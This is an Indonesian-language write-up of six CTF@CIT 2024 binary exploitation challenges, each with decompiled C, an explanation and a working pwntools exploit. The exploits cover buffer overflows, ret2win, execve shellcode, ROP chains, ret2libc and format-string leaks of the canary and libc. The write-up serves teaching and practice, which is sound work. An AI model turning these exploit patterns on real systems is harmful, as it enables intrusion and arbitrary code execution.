<style>
img[alt=chall-sc] {
display: block;
margin: 0 auto;
width: 100em;
}
p {
text-align: justify;
}
p::first-line {
text-indent: 0;
}
</style>
# CTF@CIT 2024 Pwn Writeup (Bahasa Indonesia)
## ezpz
> what if we went backwards..... really really fast....
> by nop.so
> nc 165.227.103.166 6002
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char v5[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v3 = time(0LL);
srand(v3);
v6 = rand() % 5uLL;
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n");
puts((&pwn_pep_talk)[v6]);
puts("\n");
puts("i'm so tired of pwning and pwning all these insecure binaries.");
puts("could you write me something to put the pep back in my step so");
puts("I can pop some shells and make nop.so proud?");
gets(v5);
puts("\nthank you. I will cherish this.\n");
if ( v6 == -1LL )
system("/bin/sh");
return 0;
}
```
Challenge dari program ini sangat sederhana, program akan memeriksa apakah nilai dari variabel `v6`, yang semula `random_number (dengan seed current_time) ≡ 5`, dapat diubah oleh kita (sebagai penyerang) menjadi `-1`. Jika kondisi tersebut terpenuhi, maka program akan memanggil fungsi `system("/bin/sh")` untuk menjalankan `Arbitrary Code Execution`. Terdapat kerentanan buffer overflow di dalam fungsi `gets(v5)`, dan variabel `v6` terletak tepat di bawah variabel `v5`. Oleh karena itu, kita dapat mengoverwrite `v6` dengan nilai `-1` atau `0xFFFFFFFFFFFFFFFF (bentuk heksadesimal dari -1)` setelah kita mengisi nilai variabel `v5`.
`Sebelum payload dimasukan`

`Setelah payload dimasukan`

#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './ezpz'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6002".split(" ")[1:3]
io = remote(host, port)
io.sendlineafter(b'proud?\n', flat({72: 0xFFFFFFFFFFFFFFFF}))
io.interactive()
```

## ret2monke
> reject modernity, return to monke
> by nop.so
> nc 165.227.103.166 6001
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n");
puts("in today's society, is there not joy to be found in the simpler things?");
gets(v4);
return 19;
}
```
### monke
```c
int monke()
{
char s[8]; // [rsp+0h] [rbp-110h] BYREF
__int64 v2; // [rsp+8h] [rbp-108h]
__int64 v3; // [rsp+10h] [rbp-100h]
__int64 v4; // [rsp+18h] [rbp-F8h]
__int64 v5; // [rsp+20h] [rbp-F0h]
__int64 v6; // [rsp+28h] [rbp-E8h]
__int64 v7; // [rsp+30h] [rbp-E0h]
__int64 v8; // [rsp+38h] [rbp-D8h]
__int64 v9; // [rsp+40h] [rbp-D0h]
__int64 v10; // [rsp+48h] [rbp-C8h]
__int64 v11; // [rsp+50h] [rbp-C0h]
__int64 v12; // [rsp+58h] [rbp-B8h]
__int64 v13; // [rsp+60h] [rbp-B0h]
__int64 v14; // [rsp+68h] [rbp-A8h]
__int64 v15; // [rsp+70h] [rbp-A0h]
__int64 v16; // [rsp+78h] [rbp-98h]
__int64 v17; // [rsp+80h] [rbp-90h]
__int64 v18; // [rsp+88h] [rbp-88h]
__int64 v19; // [rsp+90h] [rbp-80h]
__int64 v20; // [rsp+98h] [rbp-78h]
__int64 v21; // [rsp+A0h] [rbp-70h]
__int64 v22; // [rsp+A8h] [rbp-68h]
__int64 v23; // [rsp+B0h] [rbp-60h]
__int64 v24; // [rsp+B8h] [rbp-58h]
__int64 v25; // [rsp+C0h] [rbp-50h]
__int64 v26; // [rsp+C8h] [rbp-48h]
__int64 v27; // [rsp+D0h] [rbp-40h]
__int64 v28; // [rsp+D8h] [rbp-38h]
__int64 v29; // [rsp+E0h] [rbp-30h]
__int64 v30; // [rsp+E8h] [rbp-28h]
__int64 v31; // [rsp+F0h] [rbp-20h]
__int64 v32; // [rsp+F8h] [rbp-18h]
FILE *stream; // [rsp+108h] [rbp-8h]
*(_QWORD *)s = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("internal error - contact @nop.so on discord");
exit(-1);
}
fgets(s, 256, stream);
puts(s);
return fclose(stream);
}
```

Challenge dari program ini sangat sederhana, kita hanya perlu mengoverwrite `instruction pointer` atau `$rip` dengan address dari fungsi `monke` yang akan menampilkan flag pada layar. Terdapat kerentanan buffer overflow pada fungsi `gets(v4)`, sehingga kita dapat melakukan `execution flow hijacking` setelah mengisi ruang dari `$rbp-0x70` hingga `$rbp (base pointer)` sebanyak ukuran v4 (112 bytes), ditambah dengan 8 bytes (menimpa `$rip`). Karena mitigasi `Position Independent Executable (PIE)` dinonaktifkan, kita dapat langsung melompat ke address `monke` untuk mendapatkan flag.
#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './ret2monke'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6001".split(" ")[1:3]
io = remote(host, port)
io.sendlineafter(b'things?\n', flat({120: 0x0000000000401186}))
io.interactive()
```

## really really old
> we found a flash drive going through my late grandma's stuff. the only thing on it was this weird binary! sure hope there's nothing insecure about it :3
> by nop.so
> nc 165.227.103.166 6000
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[48]; // [rsp+0h] [rbp-30h] BYREF
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("\n");
puts("-+= WELCOME TO GRAMMA \x1B[32mnop.so\x1B[0m's SECRET SAUCE FLAVORTEXT GENERATOR =+-\n");
puts(&byte_40205F);
puts(" ERROR! GENERATION FAILED!");
puts("\n");
puts(" SWITCHING TO FALLBACK USER INPUT MODE!\n");
puts(" -+= INPUT QUALITY FLAVORTEXT: =+-");
gets(v4);
puts("\n");
printf("\"%s\" IS OF ACCEPTABLE QUALITY.\n\n", v4);
return 19;
}
```
### krabby_patty_formula
```c
void krabby_patty_formula()
{
__asm { jmp rsp }
}
```

Challenge dari program ini sangat sederhana, karena mitigasi `No Execute tidak ada (NX disabled)`, maka kita dapat memasukan `shellcode` untuk mendapatkan `Arbitrary Code Execution`. Karena terdapat `buffer overflow vulnerability` di fungsi `gets(v4)`, maka kita bisa mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `krabby_patty_formula (0x000000000040115a)` sehingga program akan langsung mengeksekusi instruksi `jmp rsp` untuk melompat ke address stack sehingga kita bisa memasukkan shellcode ke `$rsp (stack pointer)`.
#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './really_really_old'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6000".split(" ")[1:3]
io = remote(host, port)
sc = asm('''
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi
push rsi
push 0x8
pop rsi
add rsi, rsp
push rsi
mov rsi, rsp
xor edx, edx
push 0x3b
pop rax
syscall
nop
nop
''', arch='amd64')
io.sendlineafter(b'=+-\n', flat(cyclic(56), 0x000000000040115a, sc))
io.interactive()
```

## twostep
> I was just reading about the Linux SystemV ABI, and realized that I forgot I have a dance with my favorite niche internet microcelebrity in 30 minutes!
can you teach me how to Texas two-step in time so I can show them I mean business?
by nop.so
nc 165.227.103.166 6003
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char v5[432]; // [rsp+0h] [rbp-1B0h] BYREF
v3 = time(0LL);
srand(v3);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
arg1 = rand() % 69;
arg2 = rand() % 420;
puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n");
puts("omg hi! I've been practicing my texas two-step, but I can't quite figure it out.");
puts("every time I almost nail it, I stumble and mess it all up. This will not do.");
puts("\n");
puts("I have a meeting with an important niche internet microcelebrity in ");
printf("%d HOURS and %d MINUTES, \nand ", (unsigned int)arg1, (unsigned int)arg2);
puts("I can't afford to make a single mistake!");
puts("\n");
puts("have any advice for a stepper such as myself to lock in and fix my 2 step game?");
gets(v5);
return 19;
}
```
### right_foot_creep1
```c
int monke()
int __fastcall right_foot_creep1(int a1)
{
if ( a1 != arg1 )
{
puts("wrong! womp womp.");
exit(22);
}
*(_DWORD *)log = 1;
return puts("almost. there.");
}
```
### left2_foot_creep_FORBIDDEN
```c
int __fastcall left2_foot_creep_FORBIDDEN(int a1)
{
char s[8]; // [rsp+10h] [rbp-110h] BYREF
__int64 v3; // [rsp+18h] [rbp-108h]
__int64 v4; // [rsp+20h] [rbp-100h]
__int64 v5; // [rsp+28h] [rbp-F8h]
__int64 v6; // [rsp+30h] [rbp-F0h]
__int64 v7; // [rsp+38h] [rbp-E8h]
__int64 v8; // [rsp+40h] [rbp-E0h]
__int64 v9; // [rsp+48h] [rbp-D8h]
__int64 v10; // [rsp+50h] [rbp-D0h]
__int64 v11; // [rsp+58h] [rbp-C8h]
__int64 v12; // [rsp+60h] [rbp-C0h]
__int64 v13; // [rsp+68h] [rbp-B8h]
__int64 v14; // [rsp+70h] [rbp-B0h]
__int64 v15; // [rsp+78h] [rbp-A8h]
__int64 v16; // [rsp+80h] [rbp-A0h]
__int64 v17; // [rsp+88h] [rbp-98h]
__int64 v18; // [rsp+90h] [rbp-90h]
__int64 v19; // [rsp+98h] [rbp-88h]
__int64 v20; // [rsp+A0h] [rbp-80h]
__int64 v21; // [rsp+A8h] [rbp-78h]
__int64 v22; // [rsp+B0h] [rbp-70h]
__int64 v23; // [rsp+B8h] [rbp-68h]
__int64 v24; // [rsp+C0h] [rbp-60h]
__int64 v25; // [rsp+C8h] [rbp-58h]
__int64 v26; // [rsp+D0h] [rbp-50h]
__int64 v27; // [rsp+D8h] [rbp-48h]
__int64 v28; // [rsp+E0h] [rbp-40h]
__int64 v29; // [rsp+E8h] [rbp-38h]
__int64 v30; // [rsp+F0h] [rbp-30h]
__int64 v31; // [rsp+F8h] [rbp-28h]
__int64 v32; // [rsp+100h] [rbp-20h]
__int64 v33; // [rsp+108h] [rbp-18h]
FILE *stream; // [rsp+118h] [rbp-8h]
if ( *(_DWORD *)log != 1 || a1 != arg2 )
{
puts("not quite! teehee\n");
puts("connection terminated.");
exit(420);
}
puts("magnificalicious. luh flaggington for you: \n");
*(_QWORD *)s = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("internal error - contact @nop.so on discord");
exit(-1);
}
fgets(s, 256, stream);
puts(s);
return fclose(stream);
}
```
Challenge dari program ini sangat sederhana, karena program telah memberikan nilai `arg1` dan `arg2` dari fungsi `printf("%d HOURS and %d MINUTES, \nand ", (unsigned int)arg1, (unsigned int)arg2)`, maka kita bisa bisa mengubah nilai `log` dari `0` menjadi `1` dengan memangggil fungsi `right_foot_creep1` dengan `arg1` sebagai value dari parameter `$RDI (Destination Index Register)` kemudian kembali ke fungsi `main (fungsi yang berfungsi sebagai titik awal pelaksanaan program)`, dilanjutkan dengan memanggil fungsi `left2_foot_creep_FORBIDDEN` dengan `arg2` sebagai value dari parameter `$RDI (Destination Index Register)` untuk mendapatkan flag.
#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './twostep'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6003".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
li = lambda a: log.info(a)
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
for i in range(1, 9):
rl()
data = rl().split(b' ')
arg1 = int(data[0])
arg2 = int(data[3])
li(f"Arg 1: {arg1}")
li(f"Arg 2: {arg2}")
p = cyclic(440) + p64(0x00000000004011ca) + p64(arg1) + p64(0x00000000004011cf) + p64(0x0000000000401424)
sla(b'game?\n', p)
p = cyclic(440) + p64(0x00000000004011ca) + p64(arg2) + p64(0x000000000040121a)
sla(b'game?\n', p)
com()
```

## leaky faucet
> I don't even know what to do anymore. I was Fortnite last night when I heard an steady dripping noise coming from my basement. Turns out, there's a leak in my faucet, and I spent all my money commissioning meowskulls fanart!
fix it, would you?
by nop.so
nc 165.227.103.166 6004
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n");
puts("ugh! my faucet's been leaking addresses all day, and I can't afford to call a plumber!");
puts("maybe you can help?");
puts("\n");
puts(" drip...");
puts("drip.");
puts(" drip..");
printf(" %lp\n", &system);
puts(" drip...");
puts(" drip...");
puts(" ");
puts(" drip..");
puts("\n");
gets(v4);
return 90;
}
```
### call_a_plumber
```c
int call_a_plumber()
{
char s[8]; // [rsp+0h] [rbp-110h] BYREF
__int64 v2; // [rsp+8h] [rbp-108h]
__int64 v3; // [rsp+10h] [rbp-100h]
__int64 v4; // [rsp+18h] [rbp-F8h]
__int64 v5; // [rsp+20h] [rbp-F0h]
__int64 v6; // [rsp+28h] [rbp-E8h]
__int64 v7; // [rsp+30h] [rbp-E0h]
__int64 v8; // [rsp+38h] [rbp-D8h]
__int64 v9; // [rsp+40h] [rbp-D0h]
__int64 v10; // [rsp+48h] [rbp-C8h]
__int64 v11; // [rsp+50h] [rbp-C0h]
__int64 v12; // [rsp+58h] [rbp-B8h]
__int64 v13; // [rsp+60h] [rbp-B0h]
__int64 v14; // [rsp+68h] [rbp-A8h]
__int64 v15; // [rsp+70h] [rbp-A0h]
__int64 v16; // [rsp+78h] [rbp-98h]
__int64 v17; // [rsp+80h] [rbp-90h]
__int64 v18; // [rsp+88h] [rbp-88h]
__int64 v19; // [rsp+90h] [rbp-80h]
__int64 v20; // [rsp+98h] [rbp-78h]
__int64 v21; // [rsp+A0h] [rbp-70h]
__int64 v22; // [rsp+A8h] [rbp-68h]
__int64 v23; // [rsp+B0h] [rbp-60h]
__int64 v24; // [rsp+B8h] [rbp-58h]
__int64 v25; // [rsp+C0h] [rbp-50h]
__int64 v26; // [rsp+C8h] [rbp-48h]
__int64 v27; // [rsp+D0h] [rbp-40h]
__int64 v28; // [rsp+D8h] [rbp-38h]
__int64 v29; // [rsp+E0h] [rbp-30h]
__int64 v30; // [rsp+E8h] [rbp-28h]
__int64 v31; // [rsp+F0h] [rbp-20h]
__int64 v32; // [rsp+F8h] [rbp-18h]
FILE *stream; // [rsp+108h] [rbp-8h]
*(_QWORD *)s = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("internal error - contact @nop.so on discord");
exit(-1);
}
puts("The answer's always a little love and a little more teflon tape.\n");
fgets(s, 256, stream);
puts(s);
return fclose(stream);
}
```

Challenge dari program ini sangat sederhana. Dikarenakan mitigasi`PIE (Position Independent Executable)` diaktifkan maka kita tidak bisa langsung mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `call_a_plumber` untuk mendapatkan flag. Namun terdapat `buffer overflow vulnerability` di fungsi `gets(v4)` dan juga address dari fungsi `libc.system` yang sengaja dileak pada program menggunakan fungsi `printf(" %lp\n", &system)` sehingga kita bisa melakukan `ret2libc` untuk mendapatkan `Arbitrary Code Execution`.
#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './leaky_faucet'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6004".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
li = lambda a: log.info(a)
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
for i in range(1, 11):
rl()
rud(b' ')
system = int16(rud(b'\n'))
li(f"Leaked system: {hex(system)}")
libc = ELF(libcdb.search_by_symbol_offsets({"system": system}))
libc.address = system - 0x4f760
assert libc.address & 0xfff == 0
li(f"Libc base: {hex(libc.address)}")
p = flat({0x28: [libc.address + 0x28266, libc.address + 0x28265, libc.address + 0x19ae34, libc.address + 0x4f760]})
sl(p)
com()
```


## THE LAKE
> come back to the lake.
by nop.so
165.227.103.166 6005
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile.
### main
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n");
puts("\n\n");
puts("come back to the \x1B[31mlake\x1B[0m.\n");
puts("I see an object in the \x1B[31mlake\x1B[0m. I am drawn towards it.");
puts("input how many steps I will take.\n");
gets(format);
printf("I take ");
printf(format);
puts(" steps toward the \x1B[31mlake\x1B[0m.");
puts("god, how many years has it been since it happened?");
puts("feels like forever. I've changed. people change.\n");
gets(format);
printf("its been ");
printf(format);
puts(" years? time flies. \ni feel like a different person trapped in my own skin.\n");
puts("there's something in the \x1B[31mlake\x1B[0m. what is in the \x1B[31mlake\x1B[0m.\n");
gets(format);
return 132;
}
```
### the_lake
```c
unsigned __int64 the_lake()
{
FILE *stream; // [rsp+8h] [rbp-118h]
char s[8]; // [rsp+10h] [rbp-110h] BYREF
__int64 v3; // [rsp+18h] [rbp-108h]
__int64 v4; // [rsp+20h] [rbp-100h]
__int64 v5; // [rsp+28h] [rbp-F8h]
__int64 v6; // [rsp+30h] [rbp-F0h]
__int64 v7; // [rsp+38h] [rbp-E8h]
__int64 v8; // [rsp+40h] [rbp-E0h]
__int64 v9; // [rsp+48h] [rbp-D8h]
__int64 v10; // [rsp+50h] [rbp-D0h]
__int64 v11; // [rsp+58h] [rbp-C8h]
__int64 v12; // [rsp+60h] [rbp-C0h]
__int64 v13; // [rsp+68h] [rbp-B8h]
__int64 v14; // [rsp+70h] [rbp-B0h]
__int64 v15; // [rsp+78h] [rbp-A8h]
__int64 v16; // [rsp+80h] [rbp-A0h]
__int64 v17; // [rsp+88h] [rbp-98h]
__int64 v18; // [rsp+90h] [rbp-90h]
__int64 v19; // [rsp+98h] [rbp-88h]
__int64 v20; // [rsp+A0h] [rbp-80h]
__int64 v21; // [rsp+A8h] [rbp-78h]
__int64 v22; // [rsp+B0h] [rbp-70h]
__int64 v23; // [rsp+B8h] [rbp-68h]
__int64 v24; // [rsp+C0h] [rbp-60h]
__int64 v25; // [rsp+C8h] [rbp-58h]
__int64 v26; // [rsp+D0h] [rbp-50h]
__int64 v27; // [rsp+D8h] [rbp-48h]
__int64 v28; // [rsp+E0h] [rbp-40h]
__int64 v29; // [rsp+E8h] [rbp-38h]
__int64 v30; // [rsp+F0h] [rbp-30h]
__int64 v31; // [rsp+F8h] [rbp-28h]
__int64 v32; // [rsp+100h] [rbp-20h]
__int64 v33; // [rsp+108h] [rbp-18h]
unsigned __int64 v34; // [rsp+118h] [rbp-8h]
v34 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("internal error - contact @nop.so on discord");
exit(-1);
}
puts("it happened 10 years ago. it's time to move on.");
fgets(s, 256, stream);
puts(s);
puts("\n");
fclose(stream);
return v34 - __readfsqword(0x28u);
}
```

Challenge dari program ini sangat sederhana. Dikarenakan mitigasi`PIE (Position Independent Executable)` diaktifkan maka kita tidak bisa langsung mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `the_lake` untuk mendapatkan flag, dan mitigasi `canary` juga enabled artinya terdapat pengecekan terhadap nilai `canary` setelah `$rbp (base pointer)` diisi. Namun terdapat `format string vulnerability` di fungsi `printf(format)` sehingga kita bisa menggunakan `format string leak` untuk mendapatkan value dari `canary`, address dari `libc_base`, dan address dari `elf_base`. Terdapat `buffer overflow vulnerability` juga di fungsi `gets(format)` sehingga kita bisa membuat `ROPChain (Return-Oriented Programming Chain)` dengan teknik `ret2libc` untuk mendapatkan `Arbitrary Code Execution`.
#### POC
```python
#!/usr/bin/python
from pwn import *
exe = './thelake'
elf = context.binary = ELF(exe, checksec = 0)
context.bits = 64
context.log_level = 'debug'
host, port = "nc 165.227.103.166 6005".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
li = lambda a: log.info(a)
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
rud(b'proof of work: ')
cmd = d(rud(b'\n'))
li(f"Command: {cmd}")
of = "output.txt"
modified_cmd = f"{cmd} > {of} 2>&1"
kitty_cmd = ["kitty", "@launch", "--location=split", "--cwd=current", "--", "sh", "-c", modified_cmd]
subprocess.run(kitty_cmd)
sleep(6)
answer = open("output.txt", "r").read().strip()
li(f"Answer: {answer}")
sla(b'solution: ', answer.encode())
sla(b'take.\n', b'%15$p.%17$p.%19$p')
rud(b'I take ')
leaks = rud(b' ').split(b'.')
canary = int16(leaks[0])
__libc_start_main_ret = int16(leaks[1])
main = int16(leaks[2])
elf.address = main - 0x00000000000013ba
li(f"Elf base: {hex(elf.address)}")
li(f"Canary: {hex(canary)}")
li(f"__libc_start_main_ret: {hex(__libc_start_main_ret)}")
libc = ELF(libcdb.search_by_build_id("023ea16fd6c04ef9cf094507024e6ecdb35e02ca"), checksec = 0)
assert elf.address & 0xfff == 0
libc.address = __libc_start_main_ret - 0x27cd0
li(f"Libc base: {hex(libc.address)}")
assert libc.address & 0xffffffffffff
assert canary & 0xff == 0
sla(b'people change.\n', b'a')
p = flat({72:
[canary,
0xdeadbeef,
libc.address + 0x28265,
libc.address + 0x19ae34,
libc.address + 0x28266,
libc.address + 0x4f760]})
sla(b'\x1B[31mlake\x1B[0m.\n\n', p)
com()
```
